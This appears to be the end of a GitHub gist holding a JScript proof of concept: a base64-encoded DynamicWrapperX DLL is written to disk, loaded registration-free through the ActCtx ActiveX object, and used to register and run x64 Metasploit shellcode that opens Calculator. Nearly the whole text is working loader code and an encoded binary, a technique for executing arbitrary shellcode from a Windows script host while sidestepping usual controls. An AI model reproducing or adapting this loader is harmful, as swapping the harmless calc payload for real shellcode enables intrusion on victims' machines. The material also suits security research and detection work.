BCAAQwQ0BDAEOwQ+BEEETAQgAD0EMAQ5BEIEOAQgADgEOwQ4BCAANwQwBDMEQARDBDcEOARCBEwEIABEAEwATAASACQEQwQ9BDoERgQ4BE8EIAA9BDUEIAA9BDAEOQQ0BDUEPQQwBDAAHQQ1BD8EPgQ0BDQENQRABDYEOAQyBDAENQQ8BEsEOQQgAD8EQAQ1BEQEOAQ6BEEEIAA4BDsEOAQgAD4ESAQ4BDEEOgQwBCAAMgQgAEEEOAQ9BEIEMAQ6BEEEOARBBDUEHgAdBDUEPwQ+BDQENAQ1BEAENgQ4BDIEMAQ1BDwESwQ5BCAAQgQ4BD8EIAA/BDAEQAQwBDwENQRCBEAEMAQrAB0ENQQ/BD4ENAQ0BDUEQAQ2BDgEMgQwBDUEPARLBDkEIABCBDgEPwQgADIEPgQ3BDIEQAQwBEkEMAQ1BDwEPgQzBD4EIAA3BD0EMARHBDUEPQQ4BE8EKQAiBDgEPwQgADAEQAQzBEMEPAQ1BD0EQgQwBCAAPQQ1BD8EQAQ4BDIEPgQ0BDgEPAQgADoEIABCBDgEPwRDBCAAPwQwBEAEMAQ8BDUEQgRABDAEMgASBD4ENwQyBEAEMARJBFEEPQQ9BD4ENQQgADcEPQQwBEcENQQ9BDgENQQgAD0ENQQ/BEAEOAQyBD4ENAQ4BDwEPgQgADoEIAA3BDAENAQwBD0EPQQ+BDwEQwQgAEIEOAQ/BEMERAASBD4ENwQyBEAEMARJBFEEPQQ9BD4ENQQgAGMAYQBsAGwAYgBhAGMAawAtAEQEQwQ9BDoERgQ4BDUEOQQgADcEPQQwBEcENQQ9BDgENQQgAD0ENQQ/BEAEOAQyBD4ENAQ4BDwEPgQgADoEIAA3BDAENAQwBD0EPQQ+BDwEQwQgAEIEOAQ/BEMEMwAXBD0EMARHBDUEPQQ4BDUEIAAwBEAEMwRDBDwENQQ9BEIEMAQgADIEPQQ1BCAANAQ4BDAEPwQwBDcEPgQ9BDAEIAA0BDsETwQgAEIEOAQ/BDAEIAA/BDAEQAQwBDwENQRCBEAEMAQ2ABIEPgQ3BDIEQAQwBEkEUQQ9BD0EPgQ1BCAANwQ9BDAERwQ1BD0EOAQ1BCAAMgQ9BDUEIAA0BDgEMAQ/BDAENwQ+BD0EMAQgADQEOwRPBCAANwQwBDQEMAQ9BD0EPgQzBD4EIABCBDgEPwQwBEgAEgQ+BDcEMgRA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//8l6v3///8llP////8l5v3///8l6P3///8lQv7///8lDP////8lPv7///8lQP7///8lEv////8lPP7///8lPv7///8lQP7///8lGv////8lPP7///8lPv7///8lQP7///8lGv////8l5P7///8lFv////8lGP////8lKv7///8lLP7///8lLv7///8lyP7///8lKv7///8lLP7///8lLv7///8lMP7///8lMv7///8lNP7///8lNv7///8lOP7///8l4v7///8lNP7///8lNv3///8lOP3///8lKv7///8lLP7///8lLv7///8lMP7///8lQv7//wAAwJMAAAAAAAAAAAAAoJUAAACQAAAIlAAAAAAAAAAAAAA6lgAASJAAABiVAAAAAAAAAAAAAHqYAABYkQAAMJUAAAAAAAAAAAAAppgAAHCRAABQlQAAAAAAAAAAAADqmAAAkJEAAGCVAAAAAAAAAAAAAAKZAACgkQAAiJUAAAAAAAAAAAAAQpkAAMiRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK6VAAAAAAAAwJUAAAAAAADSlQAAAAAAAOCVAAAAAAAA8JUAAAAAAAAElgAAAAAAABaWAAAAAAAAJpYAAAAAAAAAAAAAAAAAAEiWAAAAAAAAZJYAAAAAAAB2lgAAAAAAAIaWAAAAAAAAopYAAAAAAAC6lgAAAAAAANCWAAAAAAAA4pYAAAAAAADulgAAAAAAAPqWAAAAAAAABpcAAAAAAAASlwAAAAAAACCXAAAAAAAALJcAAAAAAAA2lwAAAAAAAESXAAAAAAAAVJcAAAAAAABklwAAAAAAAHCXAAAAAAAAhpcAAAAAAACclwAAAAAAAKyXAAAAAAAAvpcAAAAAAADWlwAAAAAAAO6XAAAAAAAA/JcAAAAAAAAOmAAAAAAAABqYAAAAAAAAJpgAAAAAAAA4mAAAAAAAAEiYAAAAAAAAWJgAAAAAAABmmAAAAAAAAAAAAAAAAAAAhJgAAAAAAACSmAAAAAAAAAAAAAAAAAAAtJgAAAAAAADEmAAAAAAAANaYAAAAAAAAAAAAAAAAAAD2mAAAAAAAAAAAAAAAAAAADpkAAAAAAAAamQAAAAAAACiZAAAAAAAANJkAAAAAAAAAAAAAAAAAAE6ZAAAAAAAAXpkAAAAAAAAAAAAAAAAAAEFEVkFQSTMyLmRsbAAAYwJSZWdDcmVhdGVLZXlFeEEAqAJSZWdTZXRWYWx1ZUV4QQAAWwJSZWdDbG9zZUtleQCLAlJlZ09wZW5LZXlFeEEAmAJSZWdRdWVyeVZhbHVlRXhBAAByAlJlZ0RlbGV0ZVZhbHVlQQCMAlJlZ09wZW5LZXlFeFcAmQJSZWdRdWVyeVZhbHVlRXhXAABLRVJORUwzMi5kbGwAACABRGlzYWJsZVRocmVhZExpYnJhcnlDYWxscwC3AkdldFByb2Nlc3NIZWFwAADmAkdldFN5c3RlbUluZm8AYgNJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAA8BRGVsZXRlQ3JpdGljYWxTZWN0aW9uAHUCR2V0TW9kdWxlRmlsZU5hbWVBAADaAUdldENvbW1hbmRMaW5lQQBGBmxzdHJsZW5BAAA9BmxzdHJjbXBpQQBKA0hlYXBBbGxvYwCkBVRsc0FsbG9jAACvAUZyZWVMaWJyYXJ5AE4DSGVhcEZyZWUAAKUFVGxzRnJlZQCnBVRsc1NldFZhbHVlADcFU2V0TGFzdEVycm9yAABjAkdldExhc3RFcnJvcgAARwZsc3RybGVuVwAABQZXaWRlQ2hhclRvTXVsdGlCeXRlAOsDTXVsdGlCeXRlVG9XaWRlQ2hhcgDCA0xvYWRMaWJyYXJ5VwAAsQJHZXRQcm9jQWRkcmVzcwAAMwFFbnRlckNyaXRpY2FsU2VjdGlvbgAAuwNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAApgVUbHNHZXRWYWx1ZQCrAUZvcm1hdE1lc3NhZ2VXAADMA0xvY2FsRnJlZQA+BmxzdHJjbXBpVwCJA0lzVmFsaWRDb2RlUGFnZQDTBFJ0bE1vdmVNZW1vcnkAzQVWaXJ0dWFsQWxsb2MAANAFVmlydHVhbEZyZWUAdwJHZXRNb2R1bGVIYW5kbGVBAABvbGUzMi5kbGwAPwFJc0VxdWFsR1VJRABHAENvR2V0Q29udGV4dFRva2VuAE9MRUFVVDMyLmRsbAAAcgBTeXNGcmVlU3RyaW5nAG8AU3lzQWxsb2NTdHJpbmcAAHEAU3lzQWxsb2NTdHJpbmdMZW4AbXN2Y3J0LmRsbAAAiwNfd2NzaWNtcAAAVVNFUjMyLmRsbAAA7AN3c3ByaW50ZkEAYQJMb2FkU3RyaW5nVwDtA3dzcHJpbnRmVwCXAk1lc3NhZ2VCb3hXAFNITFdBUEkuZGxsALcAU0hEZWxldGVLZXlBAABYAVN0clRvSW50VwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeSVjWwAAAABcoAAAAQAAAAUAAAAFAAAASKAAADSgAAAooAAAAAABAAIAAwAEAAAAaaAAAHmgAACLoAAAlqAAAKigAADyEAAAbBcAAEsXAAAMEQAArhQAAGR5bndyYXB4LmRsbABEbGxDYW5VbmxvYWROb3cARGxsR2V0Q2xhc3NPYmplY3QARGxsSW5zdGFsbABEbGxSZWdpc3RlclNlcnZlcgBEbGxVbnJlZ2lzdGVyU2VydmVyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAADAAAAAYKBooHCgeKCAoIigkKCYoKCgqKCwoLigwKDIoNigUKJIpVCliKWQpaClyKXQpeClEKYYpiimYKZopnimsKa4psimAKcIpxinWKdgp3CnoKeop7in4Kfop/inKKgwqECoaKhwqICoqKiwqMCo6KjwqACpMKk4qUipcKl4qYipsKm4qcip8Kn4qQiqMKo4qkiqcKp4qoiqsKq4qsiq6KrwqgCrKKswq0CraKtwq4CrqKuwq8Cr2KsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
binaryWriter(dynwrapX,dropPath+"\\dynwrapX.dll");
var ax = new ActiveXObject("Microsoft.Windows.ActCtx");
ax.ManifestText = manifest;
// Message Box... Easy Peasy
var DWX = ax.CreateObject("DynamicWrapperX");
DWX.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l");
var res = DWX.MessageBoxW(0, "Hello, world!", "Test", 4); // Call.
// Shellcode ...
// Use DynamicWrapperX Functions, MemAlloc, MemWrite
// Virutal Protect RX;
// Register CreateThread
// OR ... Just register code :)
// x64 Stock Metasploit calc 276 bytes.
var shellcode = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbe01d2a0a41baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500";
var dwx2 = ax.CreateObject("DynamicWrapperX");
if (dwx2.Bitness == 32) {
WScript.StdOut.WriteLine("Nope.");
}
else {
Code = shellcode;
}
try {
CodeAddr = dwx2.RegisterCode(Code, "PopCalc", "i=");
dwx2.PopCalc();
}
catch (e) {}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment